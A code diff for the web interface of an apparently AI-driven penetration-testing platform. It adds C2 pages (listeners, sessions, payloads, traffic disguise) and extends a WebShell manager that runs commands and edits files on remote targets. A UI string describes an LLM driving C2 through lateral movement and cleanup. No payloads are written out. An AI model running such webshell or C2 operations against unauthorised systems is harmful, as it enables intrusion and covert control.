} else if (pageId.startsWith('c2') || pageId === 'c2-listeners' || pageId === 'c2-sessions' || pageId === 'c2-tasks' || pageId === 'c2-payloads' || pageId === 'c2-events' || pageId === 'c2-profiles') {
// C2 子菜单项
const c2Item = document.querySelector('.nav-item[data-page="c2"]');
if (c2Item) {
c2Item.classList.add('active');
c2Item.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
}
} else if (pageId === 'roles-management') {
// 角色子菜单项
const rolesItem = document.querySelector('.nav-item[data-page="roles"]');
@@ -405,6 +416,18 @@ async function initPage(pageId) {
loadMarkdownAgents();
}
break;
case 'c2':
case 'c2-listeners':
case 'c2-sessions':
case 'c2-tasks':
case 'c2-payloads':
case 'c2-events':
case 'c2-profiles':
window.currentPageId = pageId;
if (window.C2 && typeof window.C2.init === 'function') {
window.C2.init();
}
break;
}
// 清理其他页面的定时器
@@ -425,7 +448,7 @@ document.addEventListener('DOMContentLoaded', function() {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings'].includes(pageId)) {
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
switchPage(pageId);
if (pageId === 'chat') {
scheduleChatConversationFromHash(200);
+9 -6
View File
@@ -405,10 +405,13 @@ async function loadToolsList(page = 1, searchKeyword = '') {
}
}
// 每行有两类复选框:行首「启用工具」与名称旁「常驻」;统计/全选只应针对行首启用复选框
const TOOL_ENABLE_CHECKBOX_SELECTOR = '#tools-list .tool-item > input[type="checkbox"]';
// 保存当前页的工具状态到全局映射
function saveCurrentPageToolStates() {
document.querySelectorAll('#tools-list .tool-item').forEach(item => {
const checkbox = item.querySelector('input[type="checkbox"]');
const checkbox = item.querySelector(':scope > input[type="checkbox"]');
const toolKey = item.dataset.toolKey; // 使用唯一标识符
const toolName = item.dataset.toolName;
const isExternal = item.dataset.isExternal === 'true';
@@ -745,7 +748,7 @@ function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
// 全选工具
function selectAllTools() {
document.querySelectorAll('#tools-list input[type="checkbox"]').forEach(checkbox => {
document.querySelectorAll(TOOL_ENABLE_CHECKBOX_SELECTOR).forEach(checkbox => {
checkbox.checked = true;
// 更新全局状态映射
const toolItem = checkbox.closest('.tool-item');
@@ -769,7 +772,7 @@ function selectAllTools() {
// 全不选工具
function deselectAllTools() {
document.querySelectorAll('#tools-list input[type="checkbox"]').forEach(checkbox => {
document.querySelectorAll(TOOL_ENABLE_CHECKBOX_SELECTOR).forEach(checkbox => {
checkbox.checked = false;
// 更新全局状态映射
const toolItem = checkbox.closest('.tool-item');
@@ -826,9 +829,9 @@ async function updateToolsStats() {
// 先保存当前页的状态到全局映射
saveCurrentPageToolStates();
// 计算当前页的启用工具数
const currentPageEnabled = Array.from(document.querySelectorAll('#tools-list input[type="checkbox"]:checked')).length;
const currentPageTotal = document.querySelectorAll('#tools-list input[type="checkbox"]').length;
// 计算当前页的启用工具数(仅行首「启用」复选框,不含「常驻」)
const currentPageEnabled = Array.from(document.querySelectorAll(`${TOOL_ENABLE_CHECKBOX_SELECTOR}:checked`)).length;
const currentPageTotal = document.querySelectorAll(TOOL_ENABLE_CHECKBOX_SELECTOR).length;
// 计算所有工具的启用数
let totalEnabled = 0;
+149 -28
View File
@@ -39,6 +39,100 @@ let webshellStreamingTypingId = 0;
let webshellProbeStatusById = {};
let webshellBatchProbeRunning = false;
/** 允许的响应编码,与后端 normalizeWebshellEncoding 对齐 */
const WEBSHELL_ALLOWED_ENCODINGS = ['auto', 'utf-8', 'gbk', 'gb18030'];
/** 归一化连接的 encoding 字段,返回 'auto' | 'utf-8' | 'gbk' | 'gb18030'(空/未知 → auto */
function normalizeWebshellEncoding(v) {
var s = (v == null ? '' : String(v)).trim().toLowerCase();
if (s === 'utf8') s = 'utf-8';
if (!s) return 'auto';
return WEBSHELL_ALLOWED_ENCODINGS.indexOf(s) >= 0 ? s : 'auto';
}
/** 从连接对象取编码,便于透传到 /api/webshell/exec 与 /api/webshell/file */
function webshellConnEncoding(conn) {
return normalizeWebshellEncoding(conn && conn.encoding);
}
/** 允许的目标 OS,与后端 normalizeWebshellOS 对齐 */
const WEBSHELL_ALLOWED_OS = ['auto', 'linux', 'windows'];
/** 归一化连接的 os 字段,返回 'auto' | 'linux' | 'windows'(空/未知 → auto */
function normalizeWebshellOS(v) {
var s = (v == null ? '' : String(v)).trim().toLowerCase();
if (!s) return 'auto';
return WEBSHELL_ALLOWED_OS.indexOf(s) >= 0 ? s : 'auto';
}
/** 从连接对象取目标 OS,便于透传到 /api/webshell/exec 与 /api/webshell/file */
function webshellConnOS(conn) {
return normalizeWebshellOS(conn && conn.os);
}
/**
* 组装 /api/webshell/file 的公共请求体
* 所有文件管理调用点都应走此函数避免遗漏字段 connection_id
* @param {Object} conn 连接对象
* @param {Object} extra 额外字段action / path / content / target_path / chunk_index ...
* @returns {string} JSON 字符串
*/
function webshellFileRequestBody(conn, extra) {
const base = {
url: conn.url,
password: conn.password || '',
type: conn.type || 'php',
method: (conn.method || 'post').toLowerCase(),
cmd_param: conn.cmdParam || '',
encoding: webshellConnEncoding(conn),
os: webshellConnOS(conn),
connection_id: conn.id || ''
};
const merged = Object.assign(base, extra || {});
return JSON.stringify(merged);
}
/**
* 当服务端探活命中目标系统 auto 连接首次列目录时出现
* 把结果同步到本地 webshellConnections 缓存 + 持久化到数据库
* 后续刷新不再探活AI 也能直接看到正确的 OS 上下文
*/
function applyWebshellDetectedOS(conn, data) {
if (!conn || !data || !data.detected_os) return;
const detected = normalizeWebshellOS(data.detected_os);
if (detected !== 'linux' && detected !== 'windows') return;
if (webshellConnOS(conn) !== 'auto') return; // 用户已显式配置,尊重之
conn.os = detected;
if (Array.isArray(webshellConnections)) {
for (var i = 0; i < webshellConnections.length; i++) {
if (webshellConnections[i] && webshellConnections[i].id === conn.id) {
webshellConnections[i].os = detected;
break;
}
}
}
if (typeof renderWebshellList === 'function') {
try { renderWebshellList(); } catch (e) {}
}
// 服务端已经回写了 DB;但极少数情况下调用方未带 connection_id,这里再兜底 PUT 一次
if (conn.id && typeof apiFetch === 'function') {
apiFetch('/api/webshell/connections/' + encodeURIComponent(conn.id), {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
url: conn.url,
password: conn.password || '',
type: conn.type || 'php',
method: conn.method || 'post',
cmd_param: conn.cmdParam || '',
remark: conn.remark || '',
encoding: conn.encoding || 'auto',
os: detected
})
}).catch(function () {});
}
}
/** 与主对话页一致:Eino 模式走 /api/multi-agent/streambody 带 orchestration */
function resolveWebshellAiStreamRequest() {
if (typeof apiFetch === 'undefined') {
@@ -335,6 +429,17 @@ function wsT(key) {
'webshell.addConnection': '添加连接',
'webshell.cmdParam': '命令参数名',
'webshell.cmdParamPlaceholder': '不填默认为 cmd,如填 xxx 则请求为 xxx=命令',
'webshell.encoding': '响应编码',
'webshell.encodingAuto': '自动检测',
'webshell.encodingUtf8': 'UTF-8',
'webshell.encodingGbk': 'GBK(中文 Windows',
'webshell.encodingGb18030': 'GB18030',
'webshell.encodingHint': '中文 Windows 目标若出现乱码,请切换为 GBK 或 GB18030',
'webshell.os': '目标系统',
'webshell.osAuto': '自动(按 Shell 类型推断)',
'webshell.osLinux': 'Linux / Unix',
'webshell.osWindows': 'Windows',
'webshell.osHint': '决定文件管理/上传使用 Linux 还是 Windows 命令;PHP/JSP 跑在 Windows 上请选 Windows',
'webshell.connections': '连接列表',
'webshell.noConnections': '暂无连接,请点击「添加连接」',
'webshell.selectOrAdd': '请从左侧选择连接,或添加新的 WebShell 连接',
@@ -661,9 +766,20 @@ function renderWebshellList() {
} else if (probe && probe.state === 'fail') {
probeHtml = '<span class="webshell-probe-badge fail" title="' + escapeHtml(probe.message || '') + '">' + (wsT('webshell.probeOffline') || '离线') + '</span>';
}
var encNorm = normalizeWebshellEncoding(conn.encoding);
var encHtml = '';
if (encNorm && encNorm !== 'auto') {
encHtml = '<span class="webshell-probe-badge" title="' + escapeHtml(wsT('webshell.encoding') || '响应编码') + '">' + escapeHtml(encNorm.toUpperCase()) + '</span>';
}
var osNorm = normalizeWebshellOS(conn.os);
var osHtml = '';
if (osNorm && osNorm !== 'auto') {
var osLabel = osNorm === 'windows' ? 'WIN' : 'LINUX';
osHtml = '<span class="webshell-probe-badge" title="' + escapeHtml(wsT('webshell.os') || '目标系统') + '">' + osLabel + '</span>';
}
return (
'<div class="webshell-item' + active + '" data-id="' + safeId + '">' +
'<div class="webshell-item-remark-row"><div class="webshell-item-remark" title="' + urlTitle + '">' + remark + '</div>' + probeHtml + '</div>' +
'<div class="webshell-item-remark-row"><div class="webshell-item-remark" title="' + urlTitle + '">' + remark + '</div>' + probeHtml + osHtml + encHtml + '</div>' +
'<div class="webshell-item-url" title="' + urlTitle + '">' + url + '</div>' +
'<div class="webshell-item-actions">' +
'<details class="webshell-conn-actions"><summary class="btn-ghost btn-sm webshell-conn-actions-btn" title="' + actionsLabel + '">' + actionsLabel + '</summary>' +
@@ -709,6 +825,8 @@ function probeWebshellConnection(conn) {
type: conn.type || 'php',
method: ((conn.method || 'post').toLowerCase() === 'get') ? 'get' : 'post',
cmd_param: conn.cmdParam || '',
encoding: webshellConnEncoding(conn),
os: webshellConnOS(conn),
command: 'echo 1'
})
})
@@ -3365,6 +3483,8 @@ function execWebshellCommand(conn, command) {
type: conn.type || 'php',
method: (conn.method || 'post').toLowerCase(),
cmd_param: conn.cmdParam || '',
encoding: webshellConnEncoding(conn),
os: webshellConnOS(conn),
command: command
})
}).then(function (r) { return r.json(); })
@@ -3391,17 +3511,10 @@ function webshellFileListDir(conn, path) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
url: conn.url,
password: conn.password || '',
type: conn.type || 'php',
method: (conn.method || 'post').toLowerCase(),
cmd_param: conn.cmdParam || '',
action: 'list',
path: path
})
body: webshellFileRequestBody(conn, { action: 'list', path: path })
}).then(function (r) { return r.json(); })
.then(function (data) {
applyWebshellDetectedOS(conn, data);
if (!data.ok && data.error) {
listEl.innerHTML = '<div class="webshell-file-error">' + escapeHtml(data.error) + '</div><pre class="webshell-file-raw">' + escapeHtml(data.output || '') + '</pre>';
return;
@@ -3497,16 +3610,9 @@ function fetchWebshellDirectoryItems(conn, path) {
return apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
url: conn.url,
password: conn.password || '',
type: conn.type || 'php',
method: (conn.method || 'post').toLowerCase(),
cmd_param: conn.cmdParam || '',
action: 'list',
path: path
})
body: webshellFileRequestBody(conn, { action: 'list', path: path })
}).then(function (r) { return r.json(); }).then(function (data) {
applyWebshellDetectedOS(conn, data);
if (!data || data.error || !data.ok) return [];
return parseWebshellListItems(data.output || '');
}).catch(function () {
@@ -3801,7 +3907,7 @@ function webshellFileMkdir(conn, pathInput) {
var name = prompt(wsT('webshell.newDir') || '新建目录', 'newdir');
if (name == null || !name.trim()) return;
var path = base === '.' ? name.trim() : base + '/' + name.trim();
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'mkdir', path: path }) })
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: webshellFileRequestBody(conn, { action: 'mkdir', path: path }) })
.then(function (r) { return r.json(); })
.then(function () { webshellFileListDir(conn, base); })
.catch(function () { webshellFileListDir(conn, base); });
@@ -3848,7 +3954,7 @@ function webshellFileUpload(conn, pathInput) {
webshellFileListDir(conn, base);
return;
}
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'upload_chunk', path: path, content: base64Chunks[idx], chunk_index: idx }) })
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: webshellFileRequestBody(conn, { action: 'upload_chunk', path: path, content: base64Chunks[idx], chunk_index: idx }) })
.then(function (r) { return r.json(); })
.then(function () { idx++; sendNext(); })
.catch(function () { idx++; sendNext(); });
@@ -3867,7 +3973,7 @@ function webshellFileRename(conn, oldPath, oldName, listEl) {
var parts = oldPath.split('/');
var dir = parts.length > 1 ? parts.slice(0, -1).join('/') + '/' : '';
var newPath = dir + newName.trim();
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'rename', path: oldPath, target_path: newPath }) })
apiFetch('/api/webshell/file', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: webshellFileRequestBody(conn, { action: 'rename', path: oldPath, target_path: newPath }) })
.then(function (r) { return r.json(); })
.then(function () { webshellFileListDir(conn, document.getElementById('webshell-file-path').value.trim() || '.'); })
.catch(function () { webshellFileListDir(conn, document.getElementById('webshell-file-path').value.trim() || '.'); });
@@ -3906,7 +4012,7 @@ function webshellFileDownload(conn, path) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'read', path: path })
body: webshellFileRequestBody(conn, { action: 'read', path: path })
}).then(function (r) { return r.json(); })
.then(function (data) {
var content = (data && data.output) != null ? data.output : (data.error || '');
@@ -3927,7 +4033,7 @@ function webshellFileRead(conn, path, listEl, browsePath) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'read', path: path })
body: webshellFileRequestBody(conn, { action: 'read', path: path })
}).then(function (r) { return r.json(); })
.then(function (data) {
const out = (data && data.output) ? data.output : (data.error || '');
@@ -3956,7 +4062,7 @@ function webshellFileEdit(conn, path, listEl) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'read', path: path })
body: webshellFileRequestBody(conn, { action: 'read', path: path })
}).then(function (r) { return r.json(); })
.then(function (data) {
const content = (data && data.output) ? data.output : (data.error || '');
@@ -3992,7 +4098,7 @@ function webshellFileWrite(conn, path, content, onDone, listEl) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'write', path: path, content: content })
body: webshellFileRequestBody(conn, { action: 'write', path: path, content: content })
}).then(function (r) { return r.json(); })
.then(function (data) {
if (data && !data.ok && data.error && listEl) {
@@ -4011,7 +4117,7 @@ function webshellFileDelete(conn, path, onDone) {
apiFetch('/api/webshell/file', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: conn.url, password: conn.password || '', type: conn.type || 'php', method: (conn.method || 'post').toLowerCase(), cmd_param: conn.cmdParam || '', action: 'delete', path: path })
body: webshellFileRequestBody(conn, { action: 'delete', path: path })
}).then(function (r) { return r.json(); })
.then(function () { if (onDone) onDone(); })
.catch(function () { if (onDone) onDone(); });
@@ -4063,6 +4169,10 @@ function showAddWebshellModal() {
document.getElementById('webshell-type').value = 'php';
document.getElementById('webshell-method').value = 'post';
document.getElementById('webshell-cmd-param').value = '';
var osSelEl = document.getElementById('webshell-os');
if (osSelEl) osSelEl.value = 'auto';
var encSelEl = document.getElementById('webshell-encoding');
if (encSelEl) encSelEl.value = 'auto';
document.getElementById('webshell-remark').value = '';
var titleEl = document.getElementById('webshell-modal-title');
if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
@@ -4081,6 +4191,10 @@ function showEditWebshellModal(connId) {
document.getElementById('webshell-type').value = conn.type || 'php';
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
var osEditEl = document.getElementById('webshell-os');
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
var encEditEl = document.getElementById('webshell-encoding');
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
document.getElementById('webshell-remark').value = conn.remark || '';
var titleEl = document.getElementById('webshell-modal-title');
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
@@ -4308,6 +4422,8 @@ function testWebshellConnection() {
var method = ((document.getElementById('webshell-method') || {}).value || 'post').toLowerCase();
var cmdParam = (document.getElementById('webshell-cmd-param') || {}).value;
if (cmdParam && typeof cmdParam.trim === 'function') cmdParam = cmdParam.trim(); else cmdParam = '';
var osTag = normalizeWebshellOS((document.getElementById('webshell-os') || {}).value);
var encoding = normalizeWebshellEncoding((document.getElementById('webshell-encoding') || {}).value);
var btn = document.getElementById('webshell-test-btn');
if (btn) { btn.disabled = true; btn.textContent = (typeof wsT === 'function' ? wsT('common.refresh') : '刷新') + '...'; }
if (typeof apiFetch === 'undefined') {
@@ -4315,6 +4431,7 @@ function testWebshellConnection() {
alert(wsT('webshell.testFailed') || '连通性测试失败');
return;
}
// 连通性使用 Windows/Linux 都识别的最小内建命令作为探测(echo 1 在 cmd 和 sh 下行为等价)
apiFetch('/api/webshell/exec', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
@@ -4324,6 +4441,8 @@ function testWebshellConnection() {
type: type,
method: method === 'get' ? 'get' : 'post',
cmd_param: cmdParam || '',
encoding: encoding,
os: osTag,
command: 'echo 1'
})
})
@@ -4369,12 +4488,14 @@ function saveWebshellConnection() {
var method = ((document.getElementById('webshell-method') || {}).value || 'post').toLowerCase();
var cmdParam = (document.getElementById('webshell-cmd-param') || {}).value;
if (cmdParam && typeof cmdParam.trim === 'function') cmdParam = cmdParam.trim(); else cmdParam = '';
var osTag = normalizeWebshellOS((document.getElementById('webshell-os') || {}).value);
var encoding = normalizeWebshellEncoding((document.getElementById('webshell-encoding') || {}).value);
var remark = (document.getElementById('webshell-remark') || {}).value;
if (remark && typeof remark.trim === 'function') remark = remark.trim(); else remark = '';
var editIdEl = document.getElementById('webshell-edit-id');
var editId = editIdEl ? editIdEl.value.trim() : '';
var body = { url: url, password: password, type: type, method: method === 'get' ? 'get' : 'post', cmd_param: cmdParam, remark: remark || url };
var body = { url: url, password: password, type: type, method: method === 'get' ? 'get' : 'post', cmd_param: cmdParam, encoding: encoding, os: osTag, remark: remark || url };
if (typeof apiFetch === 'undefined') return;
var reqUrl = editId ? ('/api/webshell/connections/' + encodeURIComponent(editId)) : '/api/webshell/connections';
+305 -1
View File
@@ -7,6 +7,7 @@
<link rel="icon" type="image/png" href="/static/logo.png">
<link rel="shortcut icon" type="image/png" href="/static/favicon.ico">
<link rel="stylesheet" href="/static/css/style.css">
<link rel="stylesheet" href="/static/css/c2.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@4.19.0/css/xterm.css">
</head>
<body>
@@ -178,6 +179,28 @@
<span data-i18n="nav.webshell">WebShell管理</span>
</div>
</div>
<!-- C2 侧栏入口(带子菜单) -->
<div class="nav-item nav-item-has-submenu" data-page="c2" id="nav-c2">
<div class="nav-item-content" data-title="C2" onclick="window.toggleSubmenu('c2')" data-i18n="nav.c2" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 2L2 7l10 5 10-5-10-5z"></path>
<path d="M2 17l10 5 10-5"></path>
<path d="M2 12l10 5 10-5"></path>
</svg>
<span data-i18n="nav.c2">C2</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<div class="nav-submenu" id="submenu-c2">
<div class="nav-submenu-item" data-page="c2-listeners" onclick="switchPage('c2-listeners')" data-i18n="nav.c2Listeners">监听器</div>
<div class="nav-submenu-item" data-page="c2-sessions" onclick="switchPage('c2-sessions')" data-i18n="nav.c2Sessions">会话</div>
<div class="nav-submenu-item" data-page="c2-tasks" onclick="switchPage('c2-tasks')" data-i18n="nav.c2Tasks">任务</div>
<div class="nav-submenu-item" data-page="c2-payloads" onclick="switchPage('c2-payloads')" data-i18n="nav.c2Payloads">Payload</div>
<div class="nav-submenu-item" data-page="c2-events" onclick="switchPage('c2-events')" data-i18n="nav.c2Events">事件</div>
<div class="nav-submenu-item" data-page="c2-profiles" onclick="switchPage('c2-profiles')" data-i18n="nav.c2Profiles">流量伪装</div>
</div>
</div>
<div class="nav-item" data-page="chat-files">
<div class="nav-item-content" data-title="文件管理" onclick="switchPage('chat-files')" data-i18n="nav.chatFiles" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -388,6 +411,40 @@
<a class="dashboard-section-link" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
</div>
<div class="dashboard-severity-wrap">
<!-- 风险概览卡:填充 donut 左侧留白;提供「结论性」洞察(风险等级/加权分/待处理计数/最新时间),
与右侧 legend 的「明细」形成互补,避免和下方「最近漏洞」列表重复 -->
<aside class="dashboard-severity-insights" aria-label="风险概览">
<div class="dashboard-severity-insight-risk" data-level="safe">
<div class="dashboard-severity-insight-head">
<span class="dashboard-severity-insight-label" data-i18n="dashboard.riskLevel">风险等级</span>
<span class="dashboard-severity-insight-risk-badge" id="dashboard-severity-risk-level" data-i18n="dashboard.riskSafe">安全</span>
</div>
<div class="dashboard-severity-insight-score-track" aria-hidden="true">
<div class="dashboard-severity-insight-score-fill" id="dashboard-severity-risk-fill" style="width: 0%"></div>
</div>
<div class="dashboard-severity-insight-score-meta">
<span class="dashboard-severity-insight-score-label" data-i18n="dashboard.riskScore">加权风险分</span>
<span class="dashboard-severity-insight-score-value" id="dashboard-severity-risk-score">0</span>
</div>
</div>
<div class="dashboard-severity-insight-urgent-group">
<span class="dashboard-severity-insight-label" data-i18n="dashboard.statusOpen">待处理</span>
<div class="dashboard-severity-insight-urgent">
<div class="dashboard-severity-insight-urgent-item u-critical" role="button" tabindex="0" onclick="switchPage('vulnerabilities')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('vulnerabilities'); }" title="查看待处理严重漏洞">
<span class="dashboard-severity-insight-urgent-value" id="dashboard-severity-urgent-critical">0</span>
<span class="dashboard-severity-insight-urgent-label" data-i18n="dashboard.severityCritical">严重</span>
</div>
<div class="dashboard-severity-insight-urgent-item u-high" role="button" tabindex="0" onclick="switchPage('vulnerabilities')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('vulnerabilities'); }" title="查看待处理高危漏洞">
<span class="dashboard-severity-insight-urgent-value" id="dashboard-severity-urgent-high">0</span>
<span class="dashboard-severity-insight-urgent-label" data-i18n="dashboard.severityHigh">高危</span>
</div>
</div>
</div>
<div class="dashboard-severity-insight-latest">
<span class="dashboard-severity-insight-label" data-i18n="dashboard.latestFound">最近发现</span>
<span class="dashboard-severity-insight-time" id="dashboard-severity-latest-time" data-i18n="dashboard.noneYet">暂无</span>
</div>
</aside>
<div class="dashboard-severity-chart">
<svg class="dashboard-severity-donut" id="dashboard-severity-donut" viewBox="0 0 480 260" preserveAspectRatio="xMidYMid meet" aria-hidden="true">
<g id="dashboard-severity-donut-track"></g>
@@ -498,7 +555,28 @@
<a class="dashboard-section-link" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
</div>
<div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
<div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无漏洞,开始你的第一次扫描吧</div>
<div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
</div>
</section>
<!-- C2 概览:介于「最近漏洞」与「批量任务队列」之间 -->
<section class="dashboard-section dashboard-section-c2" id="dashboard-section-c2" hidden>
<div class="dashboard-section-header">
<h3 class="dashboard-section-title" data-i18n="dashboard.c2OverviewTitle">C2 概览</h3>
<a class="dashboard-section-link" onclick="switchPage('c2')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
</div>
<div class="dashboard-c2-strip">
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
<span class="dashboard-c2-stat-value" id="dashboard-c2-listeners-running">-</span>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
</div>
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
<span class="dashboard-c2-stat-value" id="dashboard-c2-sessions-online">-</span>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
</div>
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
<span class="dashboard-c2-stat-value" id="dashboard-c2-tasks-pending">-</span>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
</div>
</div>
</section>
<section class="dashboard-section dashboard-section-overview">
@@ -1472,6 +1550,212 @@
</div>
</div>
<!-- C2 管理页面容器(各子页面通过 JS 动态渲染) -->
<div id="page-c2" class="page">
<div class="page-header">
<h2 data-i18n="c2.title">C2 管理</h2>
</div>
<div class="page-content" id="c2-content">
<div class="c2-layout">
<div id="c2-main" class="c2-main">
<div class="c2-welcome">
<div class="c2-welcome-icon">
<svg width="72" height="72" viewBox="0 0 24 24" fill="none" stroke="url(#c2-grad)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
<defs><linearGradient id="c2-grad" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00d4ff"/><stop offset="100%" stop-color="#a855f7"/></linearGradient></defs>
<path d="M12 2L2 7l10 5 10-5-10-5z"></path>
<path d="M2 17l10 5 10-5"></path>
<path d="M2 12l10 5 10-5"></path>
</svg>
</div>
<h3 data-i18n="c2.welcomeTitle">AI-Native C2 框架</h3>
<p data-i18n="c2.welcomeDesc">以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成"上线 → 控制 → 任务 → 横向 → 清场"全流程</p>
<div class="c2-stats" id="c2-dashboard-stats">
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-listeners">-</span>
<span class="c2-stat-label" data-i18n="c2.statListeners">运行中监听器</span>
</div>
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-sessions">-</span>
<span class="c2-stat-label" data-i18n="c2.statSessions">在线会话</span>
</div>
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-pending">-</span>
<span class="c2-stat-label" data-i18n="c2.statPending">待审任务</span>
</div>
</div>
<div class="c2-actions">
<button class="btn-primary" onclick="switchPage('c2-listeners')" data-i18n="c2.goListeners">管理监听器</button>
<button class="btn-secondary" onclick="switchPage('c2-sessions')" data-i18n="c2.goSessions">查看会话</button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- C2 监听器管理页面 -->
<div id="page-c2-listeners" class="page">
<div class="page-header">
<h2 data-i18n="c2.listeners.title">监听器管理</h2>
<div class="page-header-actions">
<button class="btn-primary" onclick="C2.showCreateListenerModal()" data-i18n="c2.listeners.headerCreateBtn">+ 创建监听器</button>
</div>
</div>
<div class="page-content">
<div id="c2-listener-grid" class="c2-listener-grid"></div>
</div>
</div>
<!-- C2 会话管理页面 -->
<div id="page-c2-sessions" class="page">
<div class="page-header">
<h2 data-i18n="c2.sessions.title">会话管理</h2>
<div class="page-header-actions">
<button class="btn-secondary" onclick="C2.loadSessions()"><span data-i18n="common.refresh">刷新</span></button>
</div>
</div>
<div class="page-content" style="padding:0;">
<div class="c2-session-layout">
<div id="c2-session-list" class="c2-session-sidebar"></div>
